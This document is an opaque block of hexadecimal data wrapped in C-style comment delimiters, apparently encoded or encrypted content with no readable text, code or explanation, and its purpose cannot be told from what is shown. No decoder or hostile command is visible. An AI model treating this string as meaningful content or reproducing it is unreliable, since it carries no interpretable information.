1e0d1e1aa30510010020e3d420e5abeb9e21149d17b3f9155b8f793eaa0f392618d050f0111d1cbd23b6d5fdd099f69727374aaa556d4ff8a88679d7d5313f2a0749465616f732f8da4233920827b014e4f51052072ecbd82b93e8a6f097e6f7773dce9225b8d63f80025b7a6cd07e5d86676ca272abec25b043fb0358837b30c4be9fc4f3435ce0754758b5f85f0610b5f54669614de8ae8d2b194d972ecc217b4f69579261948b1bd803101efdd5978fd15ab07df7f497657a2b6a3a3cffea5583e236f95f41e035516f32f23cddcd7baa592455cac26bc05e645ce22e4dd2fc955ddf52099f3531e1558ff7eab5312b206ac2619c14712fbabba6463bcc1be848b1ec757a7ec6f7a49cc58de1fa050b7865d92d5bee1d1b75976eb44fdc631ea9bff7acd9ab3b7e7b1be665fe5d91e6fe0f8da624bc4f5bbee9401622a1f6908b85d351ad671a1462248770d584dc4dfc13baf6afebc1dbf0072ca75d195efc77929c4cc5d5f0ff14491b5168e5df8156b91115073b2314c3edc2cfc9fab7622e866be83e35dd8a2f082c3ba9dd14ab505b166e28204329550f41a24b8e4ec6822d0965c2a8616784a455acb705c7738c6a32edd92063873a962949f3d9c7ec79c54c49fba02cd4007f708a5157af3acd7f9b4daae27a3707207e45497df6af29625280f5c0bdf84f21f4f543d2e3b774b32c8a9ba4dbb6324d8732d5f84c4e25512cf586fb665b602c743c76b4a37c9a9758ef68fbf5131f4d4b9bd33fc006642d739c5bd9091b7ac4d88355c179e983febd9e10691f73b35af723377d70ed88b8b1d04be5175657f9a179d6400104a29376692a63b88f7e21f5af7df7a58c9eaa3333b3dedec2be85b29b0c8ad3c95689a2612caddc3973b3e618e265c6e78ea46501f5ef513bf19498f468a84847a1a596013aa51189911efcced13868c46ef48bf27b19f3b775b913b8d0ebf539c45af035936a84d4d46088502dd9f23988412c592e600e55652e1bbb7f4dfd4a3e2547ee37cec32f70e870e014bac0312c343ebf6587ec72928e8ad90b69d16fe0483f1ade8646d9ec405dd6c1fb45d8b07ca01dea25566f3934695fd3eb7069fbf7a3350645c2b82f341561c3ff33b00d5b3b719dbccfe0b3636cdde7e632b776fc1edb5c350f327d28434a6f8df9297f3a6a64146cfec0686811db18d9449af181ead2618c39b7852833cbe281922aaaa6562f377a37f2fc51164bf8c12c9832d7a0ee3c94e3256d44b60be6c04abfc0485642a66bc2a5526bf762742e4c2f52852be61d7a884a8ffba03514afeabb03010cac6a0d0cd2779de941dbd5baebf5d19373e8bd4a0ecd50d5e2698743c673487a67c0e1f3887f8e1563df385ee196d36af7d88f08d71977bdd20b0054d548a07b43b5770bc3f0188b1d4ead3c5226c17304f13c91311bad5fae76fd78dc820a1afd0b2f8df02433dc2df28df52d345f8e8c7c9487bca220344890fd37340f*/
/*a6dcccebdd9ca0725076aeb16426a9ebb66f60f51aa5198800b781a79ce42b1a10cecc714ba784cd317313fbdd37abfd847a2bc4b346236c61fe8514d101a006ec53b1f1a1ba233ea73d898f8ee086735d5cf1efc1ffaaa76ca8ce9037306fc4203068d2c08519656967702b1b77dff92fc4a87f69bc75517a93671e4a4505068d4fca9fd69dd1e10c47d5411488ccad2d9962232fc37d1590ef1b2126a96ebf8b8a59b31ad2d92aeb9944cefa121626790916424da7fc34069e380d40e00ce6e1cbf374e165d880b63e645cf029429053c51e92d5b5a9e3935b553c52ef0afeb962c93484e640235205e5b621e36fab25bf64dc3ed9aff46c879e98f88a055382531f69854c80be34d5d098e32cb545c87cfcb7e02a8d23ce20f916b2dac19b467f0f30f5092e23866cbb5c7c7a6b083910621fd087ad6b6f979f65137c75e3515b87e1b8a6355f2751b79a033f42ee1387039e7d32a180a55f1c4c1ea9332100c5941ab13775570dfe1e334e0d4563edc15b1e71f8a5fa68cc93c67692f5f649299a39544a9cbc7c42f8ba967be50c0d3896ff4b0c6d53ab986ad9ac6d0aee7a5e8e0bd98dcac1047b5dba64750c6a3ffe32381bf018929513b1b2e616cd70aad910cc5b13e3fa31ee5988959236ada61c52dfae40ffc6ce6639937e2a7a0ac6c08bf57756352de1552c0afddeb10c77a3cf989fe379880e1f4fd1c9637f38ebfa368ef0f56a5cd6e0abab1c3e9812a94679070dda8ae55acc373df2d112b3b27e0f97549959482b8cf29099f32b2e64af8e482a767ca677891c3ca3f8ce00c28489b51599a9481a8a337abcd5a4e1902a6db4e9ea2e7dfe0e32690cecfef6f9a5d5634aa40d6cc25021d0bf51199215bfbe022bbaed534273aee917f10bbe1b803aabaddb80070c12f165eee4b7bf1fe555357dfd29f0e14074e274d24f24fddfb183b1dc8c88a706dc7b9ab4a7a5ce4de748f5e598af5d3e39bb6e257f8fe3ee7ffe5abdff71d12b81b99ec103a17e2c88b8171f7a66b0fd683f8f66bd91cf87be019dbbec2b92370da0df05a3b6b55dc4d513ec42449194bf64d012297650d4437cc64bfd9647b2bfb570452658acd068fb8fc750777c1609b14d16abfbb7c38b5f57337ed8e0311a90a9573eba89b0e719148954052291d0b8f7f8b46ebd906510a5d07c231af71f4a5d51ceb8b9895ae49a45a2ebd87154db5d3221a4ef7650409c1a8682692d1ca849f94a772a96ab15e6d6e3e6243a23b5ce60866ca5a366e67f4866dff6691f06685c4a269f2e3f3e68f55710b728f09529c5adbbd551ca4fc6ed399d9e2080e1e68c79db7dc83455442831d2f092d71b42029750db598dfe80cfc430b09e30cd6089c0d07dadf99b931e6496e3cee90d05f66af0f766573437bc02dc64e56143207f2eac6c85b2c4d748f0b113e166fe6e0a7e0373e5fec5d9b8f072e2d2f3676022f90b3fa0726b4f104354dafede709000162c43623ca953f84389a3a9cf89adc54a2e10c9a90e241316415b8e5a8371aae5bcfe793cde78dce8a6b0aa4831feea7955e3681a251066eaa915b317546ca40d4670a026c060a3b793e5fcd3e15bb588eea83c8ddef4f7a27fe22ad5b767fb96f84ac243b0f7dbbfd38f5c4abab6b875234af143ae27922c5baccfaa8f10492d19d43099e0378affba8f8810877b605b7352739451506a1f8f0f856a92f439501b176d1ada8bf0bdb2cdd61fd0def6e215e1d927bcfba4872d480c4003217b28a34f9f0236314c48eff07971daeb5a11a7da018d4385c5a3f79a42323c7f1694c0a6397435545ce40078379cbd4008c2329951560f857b4e79ca8abfa37cf741d3fbab84f92029ed9c23344acfa91606b5263a114201395eb15ad79a3664b88676aff28b0e60a321fe180a6d497c95c2f746499773bf1591a00b50882ee6cabf48bda192d4cceffbcfd138351a3451c4cfee77aa28520409b2ebe2bdde4083ed380eeb97615e4ba9e39acef621c1504080c4852c4ea929026d653af342156b95dfc611534d16fafcad866b5e0b4309322d28079bdc8e11d6523b903b56f11b2ee5aa016200a309351ba6b287a531e63d1774bbef9da9b1b84a5847ecb81a7cd4cd071a28484e8f9b068ce4cd80833796a27a3fa41ecd5053aa2e549fa1220372ea972ce38dffc746f78eb8aa879d79da571463b2ccdf915a9c89bd748219f9443cbad41cbbc3c768351c88ae3b4c004068f2a95fa266fcfb04de2949ab0f18dc688044f6166a99fdf2ae5608ea9d93114e7e0fb1afc645dbe52751109120a06364f6e979b0f15e920e10710f6781ffeffd4ed65b4358365ffd87544666639dbc47a3e0bfcdf18a36d39d8101867ad0748e8563081b3a2886cb78eaff497faf5336a2825a7261863f8ebbc15ce093de370c972734345e034c0d59bfacdef576ff7cbca66ba7773e3a2c5dfd3bb5182e7825fe22112206723e81be6d5003e32dbcc874c65fd564d63769bea0e9ccd48149e8e1c0da31e0c4bdf180cfac21ecf451c5592730695b5b8ce25f05095046995d04b2d655bcdceab9e83338aa86c4f44cfd2152c191c02b475d7faabade3e27ff619b39bebb715ddc89ef73bc0f0f1d2c15c945de7124b6228d14d69fa9fc6c98d161d5be3f2b217764819e1ab684399558b38c19695d390fb246f3f1600c2dc77aa17433564f6b3c37ce8ebd65dca1c6be2af1b5d16008675ca29b9bd4c06c2508593f8373965137fc18b64841f42e08159b5226e0ed91eafd1b58d8f8370b368146de9c044e4de5cc4be4ffbdc6c59c957cd8876a8499428c03c70265f0af96be*/
/*fbd7c1ef4e3667da78efc67ebf0ad213c41bb26a9d798b26c28c7671d14e1d3dd5250648b55f6f00630d7bfc44feb208f955c22ec8ba37446aa1e7483b9df25da455817d8a430baaf1d006f959e685fd324d38b05df2814b2c607f89315e5bd0fd69fd3decbd3a59828cd78b0fb3abed60b70820208e4dfbcb6512b6d081c698c268c1aa92fa8eab6bff81ac367f96f3cd24711d7ae7da456d1125dbb6b932fc4e35b0c2f119755e6af625c53ac14a2cffc07e40629f7366ead3af89d88a10db0bc5e31952a227555ac47d3c96e1531a3a34882ebc96d7bffcf6667a7652c8649f2da64b925447238968959558f70ed27283c22d92827653b4c36f9028facb1a6901d3e4a291ee7388f83fb3dc1a77ab6e779a7d7f0ef4adf6a2e31972e3075cdc294632aeff06e148338195646e9ebf6f0b86504fa9c336a58c60603a982f42101d4246dcbab87311ee6d7c55613a3689bb33600d142417a4e158ba9d6159c68b3e197c7894d4c4230e310dfb95243b3fd6f3d8ebeac8be2f436f7c4a08f344e8be64d33d7bdb7488968eca5ce8ad79cdfc886b48c63218cd56ffa652c6b0795cb39492fa0bd7fbe1e2db3674c5eddd944ea8536139cf0056f830d48f4ddee2670545b7428aa1ccd54e1d9216506bd87c3175b8b67ed00c34d7be078586997e96045ef9f88a6a25b32535c2717cc23290446ae44850b059f09a2b8dbc8835d9eaf9572f2d59f3e21944573283964bad391c7478e2f9e19ac694a708eb6e1817b4f696d0691e936d7c6290a08f022987e1384a07940ed197241e1fe364d12f2824087fb2d02ee44251f58919e3a6468193e78fc1addf36c85f5445457d7d5f8d5c19f72c195cf5c11c4ddb5c33506c8bd7e037b6c7f3110e15c95a912395227f083bdad516fa9df6e586328c228607c3088d22e77842fb94fff0f5919bdfc24550508168d023702045d7845c0b9e02d1116fbd26bbecd6f6b676ea52c7a4c08fb7fd86288f0e5accf040d474b5c6b52d16544c7103c351a44caaf70713566189828b091165e28a7507d6139461e555ffa4f53a8ce5345e5cdbbeeb0e0bc88101b3ccc3f0257a027687c0ae88bfdad5727b0b1cd3f167343ccd1be13d617a2738520289155ef308f6959f85e40e4b8eac71a0ea840e7d9362dfae0d30a7291adaf95372bd7e356ac9fdc7bab45ca74931197dc9e2b46702eb48748742e6e8ca51f8201416a5c5fd414f55f756ba06df6bcf55a33629450d8b400ae30a6ac6950cedffd808f5f0b5da00c7e4ed84b661bdf2730cec959baf1d3e1af17492b5ea7364f76882b0a3caad03d514eae9079521313e31b1614b96b163edfd0d157f60a2ddef16afc468e77d3bae298f940306b606f96714e94494068cf0c0267c25832dbc252b43e65d798d71ee88d4976c1ff3e9640aeaf93419d5f4e1bae6556ae12de54411a22240a82b96df7da4b235b40c90e89da2745b316b2a9cda05c16c5c08ce2c4d713667b728ea7e49d730a790fbe2363445ad22acb1f4fa60c05bff5840b45a310335948f3ac2862677979151f0a3fdd4f5e2230f31c30328ad2ef324e4506ef22c9035afe78943927553de0dfdf31facb9edea7544adff051c8f754dba7164ba738b20d7bb4bd2029620b5baae5a962b3a107b3b0c599e928c287e5223a9b4a3d80999a0f9387230ee7308a2bc521d12c43a549edada97a889d757ade3aeb2fb315807534ec200cec446ef18caf3aea16a41895e4055c38eafbd9976a1c50291d5b062e0254911d6fb265cfedd74434586e9da62df4f6ce8c3b18212238044e1741df34c1d4bec37bb066b37e19e1f61e00e3664008f9a5ede0424216a1ac9288125e075433a1c2e635b4d481c6931321f88029af243ceb101f25455bdf553bb8057cf1bc306e4df48666e247d7ce378d6c90329e049f54d0f3a39b02e9244c1e850a34bf32cd01f6cf6373f782b2d3d9ad69938259a232fc8b00dce2c6148cd896c0ed035f755c9e9eaab7b32ee766417f1ac94f781c47eb3abc84f66e503f4ab6d75005c0001a60f1e4aabe6ba814a9d8a945295403d4f1b781fc7e9d0dd3ea893ccf2c2a889f98428b2efb18ef94ea8af11c8b77788916c3f1723c28fb5352b28f33689975930c8e84f6579d287b23d473c72722e436ef4bf427200850a9bfca264d41398741d6f3c5c7a26ae7705a5d7dcea401386483355810d3e103b7035f3d0244e67e94ddedf126abcd7a828fc8ca8b40e833d15ee33d4567685e793071d94c1adafd6e946495ccc4b47bd894ddad2ef0e354d6564e515eb90e451354da76958d0812629e1da9488a6581fb7c73ce72d6b0038fe986cbf8c23267703508bd80b186fda82f62b98b77b254d4b702f771029e13899d583393090d14faeae94a8a291a6e78aa1173d9790f3a35fd101c2f249c5418e73ab0b13b33937357fbec6282ceeb460f92c758835477f1c4b5c082a7fe4a6c6c6b28ef209ec6314b6c07090ab462bbc90f76e08ceef26398b90b1a75e10c5e122b98a6ca0a4a66f27f0eb3a292fc05bfdbca66f046d05f0f20918e73e09c8868cd361516f428b3b076397cea67b164f615c64291373dbc6103ca46451c8ecc4c0e099af4ad1d99813aa4821f8f214d9c7b65c9aa696f58e6999aae018756c785dde78f39b7c9583f239808f52a7ed4b8d5e668ff9e0da4bbcfcf46f6aadc4292c9210f8d929b2d4eb5d4ad59bac37a60279b2d6591ef295b4aea5efbf957340e52fe4a6b5b915db27793070dc5ad7dd637ba08389bcb05d20f4d4fe335e13d5662ff652d67b3babca628b61fe33b303248d21dd4a*/
/*f3daddcea95b685d0c9bb1fb68daaea42ce25b445db906ef87d37489502b0d1df801dacd6f8d91b79e634dc85cbef61080e9a6dcb93f949cf9615972b52cba487f66f38cc189cc2be65a4bce672a96dba687b799a8ab1cd480ea9a6a9501b635718f5b0a6ad33fc6959a9de62863118d3ed2eb7660be47d1bddbbb1b79331b03ae1615ea7d576944d7733a76f17a13381c6fc85a94065acfb517e1e7df14deb355bff4a904b2a771fdadc00106bdec6cb125de3f3ee620846d4dcd8942ed4354f109e98506531d69ac2e3740d4badb165cb8b352e62f286f9872966c1f67a37e300bedee80962c69581fff148f10f60a04e78625ccd05ea2277b8b536ee817a79e5e9bab8ad4755d35891fe63d6ae24a5df178379b0feafcc628cf447039f132e72a823cbef4c736f88f7f8b0efe37a5366c86e17e141ecdf8c54f1e49894606300488657dbac5fc76eb9e6c064beb96cf1bef880aa653ac6f3766f8164580fffc3560ef482247c55bc5b63308f0a70ae41729f266b2c34c87f33f225470a2eddcb8697b94930499530be9e2ca101a675379d28c107891d450f9400038cd41e6c5c2dd8f832fab110ff1e6da3fc624678557a6bc5a254f24ae574821a62a61abfa1c3d83f20c4d0055f908611afe6e73a2542926a81a9d082181cee9dd3949cd43a636817157a28a4806bc0dcd01d85a745156b141273ce8c386710e2cd4dff11fa0e6ff046eddbca0263868a0386d0b932a3fd002f20bced617a9f04c93ecf50e1dd44028a4e1f91138c44ea5bd10c8e78077ff1bec51bdbc0419b6bbadc5b0ed8e632150487a98719239ba10e4f98376d8ac7b01393def1b348f7644a84f9f1f87465d146846a6a381d420ab1788c35596e7b5e015342a0eaab4a86d82d0d5755f4adf48caa6e7a2bbedd23da0be935c42afc9397694ebcf9d6caeb607262c62c3d9b820f6b154535ce3f3ecac3ced27bd09ab681e8a32c7b706b7b89c7feffe0cc5745d3e54b9acadd1544613a5ea8baf90363198a01dd567f87b44b5522553eaf86129b23c1edbd7fd42f64c5a30457e9d53a23cf58a4392ee947ac2d79af89fef8eeee4ab7a073b41002fff1d87184d06b6076697cb99322acbb5426c2fd908eca664b45452f1afad55ba39ab2eee9629446e66444edc5de6607cb3e951b1062a1b62e8e80c149f97ee807bad1c4ed2f3f0f84a814b294dafb3a5d5d15d97bcf8ae592a5a1cd9b3d3753830d09b8cfae81c14cfe2e6484dcff09e3e3484124665f67f5b31ae46244c01efd4e5158e4b7f21a543e533e680b4efd81997c6bbdd03f78d6c136d77beaa9796e5926df7c2c3dc2c99fff2ed906aaaa1e5135362e019c1c1d7b21e034239a14da81af0fe4cda4e80ccdb2ddec4b7d03ba9746ddb5c31b0690198164bd1df0351083b1cbc417353403f2645f6aa41ad755b527def8b7684f2dcab9a7184cbcd541094afac79ddf2a74b8a9be1cb54bbcb04f3e908024701b4531f449cd6b5ef09dcca7aa4a70680ac3158c965779f54cf3c3732ed2fd7c9bbd162c605d46b4d57d01fe687f04299a7e0053ac438726a6bcc051adeae503d954a1697df2f1e5cb24fa3090202b145ee0ff3b1cd4e3ed83030f52392abcbf5b23262816ef530017474524c466ca565ca217d407eb4a8b276636287243e035281056470c4077543bd9d1f1468b0f320ea31fe8d5760f5467257169a4a35fa8d4002d28569f1b6c279248892c9566588ea96b5897f65d853d6da95e41051026cdcbaaf85049da39b5111ed4c335c47e1d5df0b43455fb2ea936d6e27b5c5cb57b53e2b2e397eed8d979f027c6ff3209eba4200997689ef8a6f0efb6168c9a8ef0f4eeedd531814f4966cecd5c4090a1ee9e13f7a330ff4ab252ede931944a30d77a4d0817590ad7b970a8f8f992ad28bfda40f9ce403f09e371851e3f9aa3237cf247b3d677066e9f9fc8d49aa19dea0c153779fba600e78cd40c94ed1ad82fcbd0b213037d8e38074e9e74166ae7da6736704fe69755c542beee3b4c9541ca562ec602671f6e9271c05a43c822563affc5b7b0ec1f836f74f1ad0e522da151be304b446b219de80ed3ef568721fb0290f71b806942ae3809c113e7658951395e381d2f3ebe9e18245a014f0b7184bbd12a3ff2dfe4d5fc3ab35522049b2596b1b62cf5c0ddf31af3112011896e8c893cfcd7dda74455f42b0b9613d3327ab1e46ab0fa3f90773e1f0203dcb55c950ccb8c2cbb1f0b0ac7c4403086f2fc37a47c41af3f89ae356f2491093ce48583d8951c4426d6ff59855cc472e33c1d63fd76624b79b1bdeec352d0a0b86ad90dbf1b08a804d9e95d50672cda680229af6204395dd9d930b813f037217b707b8c51f6b5f919f1c0ddb495aee8ef76ed15616445d13f6b91ef710c58f1e8ce36767782376c1cba87337a415dfc4f7bab5f27fa1024039ed1feb3cb5cd6b2ea6e0b491158617ddb9f18960e7304d88ab4ed39d4e32a79ba34cfedecac6ce809bf679ef4029254004d592c22aa82972d7bbda2cda59e3e278a5207e350e8251de0cadd7ef14e2627c936d532a7d02180904d976a1e119e733b6eef1d5f42b6d90b4b42fea2ae8a2dc6103dc4dc23dfa49e5073d796742993a28920e4cdff05899d45e0926fba8a5f166627b7776734bd47129cd063de380443eb3746e265fc2063f88a7a045bd59fffbdfc6c6f1eb6da1ce8825812afccb55940bb8f108c101012198e9892049bb51b0054a9dbaf90fcb48e2752a982d3087b1665224afe6b1c049d465e9bb53426c901279b906194ea0011b0c8e45d436ba8f6c5aa3de2ee4*/
/*149ed84cc7305407f2f94393c31c5fe385fef23039db90e28bb26ffce88fd0b261a1865b1e7b5fa1c4a50d1ada5ed7ee024998b48b61a63b16aca1c1dfff0ae8915f45fc45babf05f579d75d6f5b2df19608bd7c2f373a02ca7f2698c4729ae1be607ea5f9058adab5e3e15ac8d85c588ec278d6f5edd9c66931348ab989d1f5e2414b9bbf54a55dacbf4ea55ba3edca00f1cdd659d4af16d73f17ca044fd75c85a7a241a9ed6a2ba5cfc8f7221622e31893bb46da3ec309cd3164672af1f08eb261f644bfd15bc0b6ba0567639cf4a735d08d10424aed8772d2b96996d02a29d58c5b5937e69c8f87cd578ac3877ee20d25a37963180d42e70c396383f9418f5f60e88cc17618bdc9cb173b0266e4160dc4b537b6dd4f9823e62619652846486900d37390291dd9297d6aef227d041819a40830be2b159bbe89f6bc0eadf9ee1b79754b4a986a1ef23ee206a565632e6f2ad0c8388efe8046f7e3cd8ec98901adf0a20ea9e8cda63876e2a62548a5768ad729bc229a337797a3e2c0a1f706ca9fc1196c6b897432b757a4b9a55312c7a768620fa0dc47de2655de5a66ef087a3fde8ac3c5f4635cb28fc29d4a5986d87f6034f8d133a2bc73902b60056eb195b2f37f440421dba33c8b0a3f923e04819e0002cd85f3d93552877d44f0aab52f36615390ff40966125845c3b83f0e38ddcffdf090edc90d4e18fded0b9fe9bb9dcbb7d7b36adb587cb534cc359656da57283afc53b32fa7a8abc569abe1d99abd5011903ea0afc589e1635a364bda2954f52dd168507f1c2a83c042b0afdfeda5a31cb60cf0a7a6360122f2dbf5991bc8d0b1f9178e9bb4706e041c6ccbbcd3fff65d719fd69ae1e6e2f85e7f265758eb34907611a02a11610eebeba0865e93825024380fe847b2ce4b09f47e04e88fc98048eea9a9637755dfa795e6e43e11f442a116405b37cbb54e7337b80ad2c8495cb16942cd1c0b02cf31f8e644837392a76e5b2a12ccb9f1a457e84eb10a500e25472b61dcb8d7d11f4b3771a0163e431c3ebc7f18bb5ecf559f7f626bd4862042e68e0d2d59a31ec59841b9d450cb1b3480eb24021b845e3c2b456fd73866debd4542e9160bf386c40d8415902c6ebf2c42471b72c263926c731a2ac88d66880c7e404e5f3277a37222544110eeece277749276fa80b4f5382c0d406a82574847d7868617e8235aadb10b2a295ae432c16c2cf5629ce7ac5627c9801ee3ebcff317e150be9a966fdb1f9304a5c23be08aa2ef393f24ed9f75579f385fd74c24a727c118d696b9ba14feab49403a62b5b7205d856a5c54b9c92e360024f12157fa122211b4281e7e237b43bf8a55bd67262fa65f9ccbde51d4556df608c5c9fbefd71f5923dfad339fc2574335177c148226ea466e2f4f4bba4e3a81d658cd534a1802f926d958056172648bdc31f41a19d51818b262f9151ce78355fc8cb55ac32d3c5565723302571eca43dd41ce3992d499da893a2692707619760221790534e9abdfa14128b727a872b8ad0ee90a781b6cba9e64e136be38ac910c904bc6821ff4dc5b6d275cd393facf665b60a28764f2d8e9c77ab19db977b27584ad0507892207238ac77fa3fb9844146deb727edc4c484c7b1611ef4ba9e6bec3a7ac7246c6e6bba7ea451e0320b987058b0b02e1be0b34cd2331c64a3b2dc5d13e88b73863d5d28799153db937a40370c1ef3f9f525f00ebf543cdf40bc1398b61c0b5ac183d03262ba7136a23d457e35327cfc3e6adbefd0898e897882f633dd0f4ad265d16424b98f716cf1d74b0ea8a4d5926b1326e74fad67e0244d087a039ced378eab5401ab49f0b7a5c1858e8259af451ce745216f8ffb6ee9465d1f4144388cc201943962abcd892230a58623d266dc60ecae1fefbf050e7424040624e6c11049841dab2116bf8d23370d7ba8654f2d564b2758862299f60a2e82af802b18345214036501bdc0914eb6ca7f22da031e96a3df461a4f02f6b6c8d6250604ea4f8820e5b1e3b329f0b8bc61f0d36be348db82c42e766ba2526ae54c8f0b3d393bb748933e3a24417f2817617abbdbf8fc0100ca944815f85c81202b04939d7b81d139e949cd680863da2275533341b49cac732efbadd0634fc6903be0a57cd51b9acf0410da144ab1f3cd50c2f0faebea6b9389f4f33801b37bcd057fae9819eddc96eee3a67c9d35f073dd2914ef250abf136d9805bccba4f4876605b27db14811343bf3325d07b9cb20de604178e228b081b2576d5efdda2cf473ffbd0854429aa5c66fb7aeb03736f34a406b5ec4e36d52fe802a38f5fa724831473c94a21a1ba53934c5f2074a029bda49155a30947066c6b7b0303c2e965e51416a05cfc25078e6a15d7e4d6e652cc2591783fc5c9b5005055abc3cf706e451bcae740ed3384788d631f5ee0b819cb73b530bfd9a1fee9377161115786333d9c85a062ba92fcb85cf08c8c879fe98741323bc76cc537f27f1a6134a4d7f0724f54d9490c70703695fc7e4b6a3ffe48ee975d5f4417c67522a21caa71c756a27197cff37f82958619d2691061d98ef84ac4f1f179bb89b58766f0459b399bb3e5f7c080d62c95293ff486284c8ee306578535d94cb9cf864c89d944b21756d0407c15f48dd3a3dad8f716bf5d56b245926b862aa31c567fedcf4af70c8401a66dbb51fecb34b418673fff5d8af219d4538be98f006008d777f314332fba7d65e6ed309334a772c627d0c802b0b4ab6db57a77d2a9703e83fcb77c3ee8fbfdb4fe39478c254f66706d0db4d434a938bd9274894a4780765bdb0799750c2fed629a76a16*/
/*fe7987a225d5fc1dbbfd7e4dd823fe42be283a09f9ed557ecc583fedc2ba5d240c175ca046ca912bc026f06a8048a8c365ec5d320fea0f20095a75225b31fbd5ae074ed083944ee50618fecaec6d6f8ba33800cc2180ba21cb06b3986ce72fd8f5506f76bcb411887849e105b7c8fe3e82ad7dff710f87082f69285130528f8ab8218ec61c46c4caf67cb57867bd2c818877c870549e0d23263aa4c85532f2581c777cd89bfe933dae099678fd3dc1bd10c7c64e0813f38dd2c177770f6d3267d12d825dac3f7944ba13cf0148f74a38bc8969960079f5e0cd02b29aa46923408cfb91e935a45eb4324e4686607fa3a2dc58cc1cb702708783d62d1ed13d039f80698da79638b6096c72945c0c54f6fc03db8c284345097aa785a841327eb2b14ea9d9392e11957bd30208576b4c78a413e7b926232dd51a473169d1336974bfbb0bc68318f35c9ee05765f3bf4ef16d27adf622ed82160f9640ca4e8d3498eeeb2511a8ef8d1ae6b7e68765ec0b1b4bf8e68324d67113739621339da9b6b780876ded0cf3ba88932cdfcb7813afb980702298a1a851c456446aae654a10334b9988e9a2d58f87d492de2c285752db2137414d1bf2a46fee18b5637ac89b74e1ffd3507e3fd166307466bcff3a04a82884f561cb01eb53b5d8dedbfda464e26cf428aa75d43e2fe585a83cc9b4f46c05e85cf76e705d9b6a8eddf960023762a08d4e20bae8dd927d0f954e22caba7775ef37b3699c1218da6e0e5ccebfdbd4c4f58458faa7257bbbe5755558df62b5b801dcaf8ee25dedc3d0160e5c8917d0f1f8cd2bb5b1629e89f2616d9b0fa5439f0287d98da84b6616250fdac54475c18e85356a1a3c72db949fa68c6ac8f1e14f4d66516950bfc0a6097079fbf4dc27b443d913323e046a2ce17f1be686d512d9ebadf1d42b8ad0c14da2425aec53f04bbdcd8a0a0d9fdf275dd3d0f0a8fad1d3332448f5ff533ac57a458b006f53eb359718946918c76fe6d477c3fd147368e2f4fe9e78ed5ab023a51a2e5cd242a2fdd15c5b18fff442e1534b8660e10bbe873db9089c31fe6ce7b8bf18f6d25dd9551aa8bbe93f5bf565a5bea277c1371ac3e7212b0d1194951f1ab1107e88bc6934d7431813528e9b191c0f2bc8129943a1d3e02399eb731584486cd79b11a511c080ebd4e7c666d7d6f9030d3238343c775cfacdfe0ef1e545130bb7f79a33ca30af2d585270c815c07b761499d09b795da579275ef6f6b8939557975914aea1e1edbdc973be9bf937e8b2b85fac16e3cda55c5db88c0998cbd4b50f67c75b40887b726b53edabb6dfaaec71c2e2a80e0355690fa986ce333160c57409ba64a25a4e541bdd9114bda16afd9c3af8c7ced96f35f636efdfc99eb5bc0120e3eb29cf1474c9b4eec689c7859421a72eead86010e3b564f577b0ed0166fce5eb8a92be8b3da272d4e989d13ee5cf1f3e999907666047d61df4e511d2bac91ccdb6b42d69c6e501972fdcfe07fb4412997e8e4d666555a63536a41fbb3898a3d20a70eadcf81c50d1cf6b3ff8e242c27f2a957ef5044f5976971160e81a5a5b09ffafa270464a26f61de0c1e80dfa051928dd4f6c2601de050af882760f6d715da7660d5e8938cff1a3b979868f62d74650c08cc0bde692e271f64afa1cc2fe8725016fc2bf09b4d56e56f9cfb270129ab522fb579b2553b5f2161fb691c245dbbd11b2ca58d93f6031a398cf123e117871e524b7c73fde1fe8472b61944da41dcbbf454c885ece89b66d06b0c8f4f5d7f9ba8fec073ce5764268bd65c7a8cfb557d96dc45931c7ea56899d449a216f07dfbb55a2f89d6921e7b34fa65153d3d47629630ca5522794867267880004c2993f951d0e63b3f4be74ae0ab10384333c00040342e181142ffd7b85d2586bcc02f2c6bf1b4b8cd40903b73b5a72b6c1ff0e29a078df8b5b849666bf82ad13d8352b63921ebe3326614b30b0022923bffd6b16b5b712403301a45b10082a04721598836386775ae995ca6ed9989a48287aa99ce216fe9852ec8f6074dfea056d01910531a5ebb2b415b5daf287c6b158ccaf9b4915ed38ab243fe50933d9462bca5df50428f7b363d3c2ad241fb3eae948a67ea12feee9907a4fa50a80da791a2c49c3c5fb3e57cf03fa273dd20e747a42db59c7990c62caea5d87079766d98ddec04c3d5bf9d063ef78a786437ae24515617daf5a1602bd84d6301059507838c9f320e761e1a20611a5c4c6654f2ac457a789b0729eb4b79b235ab47780cc5dc844cf6b9356c3b0044493d1dc3d56e372f19cf8b5fdbbe3008bca48ac31e63b29177ce454e4e22c1cb575f249eca0735ffc33c4edd5b7c22ca559154565302f5c8e818a1d9570a4d8acbb87f9790b6d39450c92e4ed3049809a90fb569291d4bc1c2b9265650a384482d41424b11112d5d73a341e6570bb71a01e887c75bbac89fcab4902909f4932381a4c7272a612110a5587ef5ffa8ec5aa1a130d508a1b99fd50b7e030ef43ae1c03bd054787bd544a85bb16723470f30d84e9f0dc426252ab30b73730b136d449997a479b3c341d9e3f159a2d79d282ade96dc3d6d039336902257431e60b7b1409c7fb20ba7c38a53189abd3f6c36669e03728f34c44c1641bf9622a7a5b9e1ae7b07143c5c1edc0e5436451773bfe8bff66325193299c3e2412254040d0da678c88b2c0bd3d9bf021d4e23c34e2e503168cb0b38ed71329720e886eb0c043acb23d223badd4ded1d0c19a362c67be67f6e54eece4cd46d0b869b80fb6b22febfd71bbde794264aabc1f1498ec181f817b27493e6555f20c8e08*/
/*f4fb902a89d89d2aa34547372af71e4fe1f817283e9823f0fc303b49ead1f5d6ac6cebb30bd8e0e7c236a959c95ee846c2b3cc2621e4f949da85eb6e8c6321b0950c391d4dc37d3b92fdb8e4a4f03c9528b3f1292f426e0f1e4671ceeb05a9874f7004bb3d9878b98ea22e2e9c415a6e2121a478f60f64352ea58c407b2fa6b2a9d745ff203c545d0cdb823280c87ba10b4a23435273537d0ca3910c1eb469c6e5d5ec13f5323195c361433ddaa24027fae62be364846c87e0460f765548f0363150688aa1870714112e3ed745e40350471520c79fc8f7a6ef3985a518b51f835f7db63842a0b6f378fcda4cebbdabb2066c211ebf8c6f53d452b925a66c0a11ce58a1621d3544815be8623a7af43123d69d89793acf9ae3b0a284b903f90ace6e0248cfb4d5ceabfd29fd5bb489c2fe7b3da17d943e525bf98c7613e980f3a0b054864b37d656ed06b66a8345689753ff68a094060dd18a0cd07239b3f43e55bdc137ca4966923b1cb0cfb3520277ab23719947edfcb354b9e45077a7d8893e314ef699d52719c1b29f054198ff63fb1918cf918c87c4c743f248da8add76c675d37607346cd545505123dfeb707dd3258efa3fefa92c5f13179c63cf00ee5728207be682f7e4f55154b86c298ecaf81708cb9a977a7af2aec75437a